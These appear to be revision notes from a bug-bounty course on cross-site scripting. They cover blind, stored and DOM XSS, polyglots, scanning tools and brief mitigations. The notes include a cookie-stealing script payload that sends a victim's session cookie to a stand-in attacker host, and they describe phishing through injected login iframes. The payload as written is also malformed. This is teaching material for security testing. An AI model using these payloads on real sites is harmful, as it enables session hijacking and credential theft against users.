XSS Revision - 2
XSS Revision - 2
Sometimes in certain areas example in feedback forms or chat bots we do not have an
idea if XSS exists or not, in such a case we will create a payload where the server
will give us a response
This can be easily done by using XSSHunter where payloads as well as reports can be
easily created
Link: https://xsshunter.com/
Stored XSS:
If a web application stores our payload then such an XSS is called a Stored XSS.
Such fields can be found under “My Profile” Section.
DOM XSS
DOM XSS arises due to the fact that input comes from the source and gets executed
in the sink.
https://files.cdn.thinkific.com/file_uploads/359809/images/
2f6/041/306/1618132420695.jpg
Steps:
cd LinkFinder
cd ..
cd findom-xss
nano findom-xss.sh
./findom-xss https://website.com
XSS Polyglots:
Polyglots means someone who knows many languages. Combining it with XSS Payloads,
it basically means a payload combination of 2 or more payloads in order to trick
the web server and bypass many input checks.
Using an injection point and crafting a specially based payload we can make the
victim redirect to an evil website.
XSS to Phishing:
Using an injection point and a specially crafted payload of iframe we can trick the
user to see a login screen and make the user log in thus phishing the user.
This technique can increase the severity of XSS. A simple payload where the cookie
of user will be redirected to the attacker’s web server.The payload can be as
follows:
<script>document.location.href=”attackers.website/cookie=”>+document.cookie</
script>
Where document.cookie will give the victims cookie and document.location.href will
send the data to attacker’s web server
Where web servers only upload image files, using an exiftool we can create a new
parameter and add our payload in the value option and then upload the image file to
web application thus prompting the alert box
XSS Mitigations:
Input Sanitization
Usage of WAF
ParamSpider:
A tool which can find hidden parameters on a website. The tool can be installed
from https://github.com/devanshbatham/ParamSpider
Steps:
$ cd ParamSpider
https://www.pethuraj.com/blog/google-bug-bounty-writeup/
Best wishes,